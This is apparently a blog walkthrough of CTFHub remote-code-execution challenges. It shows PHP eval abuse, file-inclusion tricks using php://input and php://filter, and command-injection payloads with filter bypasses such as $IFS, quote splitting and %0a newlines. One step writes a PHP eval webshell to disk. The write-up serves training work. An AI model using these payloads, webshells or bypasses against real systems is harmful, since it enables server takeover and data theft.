ctfhub RCE

目录

eval执行

文件包含

文件包含-第一关

方法一:POST直接传参 

方法二:发现是一句话木马,蚁剑直接连接?file=shell.txt 

文件包含-php://input

文件包含-读取源代码

文件包含-远程包含

命令注入

命令注入基础知识

命令注入-无过滤

方法一;127.0.0.1; cat 238442225211085.php |base64 

方法二:输出重定向:127.0.0.1&echo -e "" > shell.php ,用蚁剑连接即可法二参考博客https://blog.csdn.net/weixin_44816732/article/details/108061996 

命令注入-过滤cat 

法一: 使用单引号绕过 

法二:使用双引号绕过 

法三:利用Shell 特殊变量绕过

第四:可以使用tac more head tail等命令绕过 

命令注入-过滤空格

命令注入-过滤目录分隔符

命令注入-过滤运算符 

命令注入-综合过滤练习


eval执行

eval():把字符串code作为PHP代码执行。函数eval()语言结构是非常危险的,因为它允许执行任意 PHP 代码。它这样用是很危险的。 

 

试一试在url里面get一下,即:?cmd=system("ls /");切记输入; 此时是查看根目录,我们发现了flag_21614的存在。【system()函数:执行系统命令并输出执行结果。】

此时就用?cmd=system("cat /flag_21614");打开根目录下的flag。

 

 

文件包含

文件包含-第一关

这里有一个strpos(string,find,start)函数
意思在string字符串中找find的位置,start是查找的开始位置
那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET["file"]
否则就输出Hacker。
再看一眼shell。 <?php eval($_REQUEST['ctfhub']);
是将ctfhub传的参数用php执行
题目的目的也是让我们执行shell木马那么我们就输入

方法一:POST直接传参 

?file=shell.txt

shell中要传的post参数为ctfhub=system('ls');

 

 接着返回上一级目录,发现flag,接下来打开flag

方法二:发现是一句话木马,蚁剑直接连接?file=shell.txt 

输入ctfhub
在根目录最下面找到flag,或者打开终端  cat /flag

 

文件包含-php://input

知识:php://协议深入理解
https://cloud.tencent.com/developer/article/1148416

由于 if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
目的是限制只能使用php开头的伪协议
那就直接用php://input方式就能做出来了
php://input协议的简单理解:可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分

写下<?php system('ls /')?>,发现只能在BP中做出来
 

 可以看到成功执行,发现flag_26507那么接下来就容易了。

<?php system('cat /flag_26507')?>
这里尝试get请求也可以

 

文件包含-读取源代码

知识:当php配置allow_url_include和allow_url_fopen都为On的时候,可以对文件进行远程包含
例如:about.php?f=http://web/1.php
当allow_url_include为On,而allow_url_fopen为Off的是否,不可以直接远程包含文件,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等伪协议
例如about.php?f=php://input  post传输数据<?php phpinfo(); ?>

 进来发现题目直接给出flag的位置了,用之前的php://input伪协议burp改包发现不管用了,
应该是allow_url_include:off 了(默认off,on状态php://input伪协议才可以使用)。

 

我们可以用php://filter实现对文件的访问
?file=php://filter/resource=/flag
还可以用下面的payload实现flag以base64加密形式输出:
?file=php://filter/read=convert.base64-encode/resource=/flag

 

文件包含-远程包含

通过?file=phpinfo.php查询到的
allow_url_fopen    On    On
allow_url_include On On所以发现可以使用php://input

 

构造payload,使用php://input
POST里传参:<?php system('ls /')?>

 

发现存放flag的文件
打开文件,获得flag 

 

命令注入

命令注入基础知识

Windows系统支持的管道符如下:
1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:
1. “;”:执行完前面的语句再执行后面的语句。
2. “|”:显示后面语句的执行结果。
3. “||”:当前面的语句执行出错时,执行后面的语句。
4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

命令注入-无过滤

127.0.0.1; cat 238442225211085.php
​发现flag没有回显可查看源代码或者

 

方法一;127.0.0.1; cat 238442225211085.php |base64 

方法二:输出重定向:127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > shell.php ,用蚁剑连接即可
法二参考博客https://blog.csdn.net/weixin_44816732/article/details/108061996 

 

命令注入-过滤cat 

 

法一: 使用单引号绕过 

127.0.0.1; c''at flag_1175837042756.php |base64

法二:使用双引号绕过 

127.0.0.1; c""at flag_1175837042756.php |base64 

法三:利用Shell 特殊变量绕过

127.0.0.1; ca$@t flag_1175837042756.php|base64 

第四:可以使用tac more head tail等命令绕过 

命令注入-过滤空格

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,
所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

这里我随便用一个即可 :127.0.0.1;cat${IFS}flag_19510528016782.php

 

 

命令注入-过滤目录分隔符

过滤目录分隔符,就是将 /过滤了

127.0.0.1;ls查看当前目录。回显是一个flag_is_here

进去看一看127.0.0.1;ls flag_is_here。回显了一个php文件

 

思路:这里我们可以用&&运算符将命令连接起来就能成功拿到flag
127.0.0.1;cd flag_is_here&&cat flag_193533244512051.php|base64

 

命令注入-过滤运算符 

直接执行了127.0.0.1;ls可以执行

 cat即可

 

命令注入-综合过滤练习

知识点:运算符分号可以用 %0a,%0d,%0D%0A替代。

127.0.0.1%0als

发现了flag_is_here

继续查看这个文件127.0.0.1%0als${IFS}f*_is_here

 

得到了一个flag文件

继续进入目录查看文件即可

原本应该这样子写但是由于过滤了所以要写成下面的样子

127.0.0.1%0acd$IFS$9fl''ag_is_here%0aca''t$IFS$9fl''ag_5201320047795.php
127.0.0.1;cd flag_is_here;cat flag_5201320047795.php

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值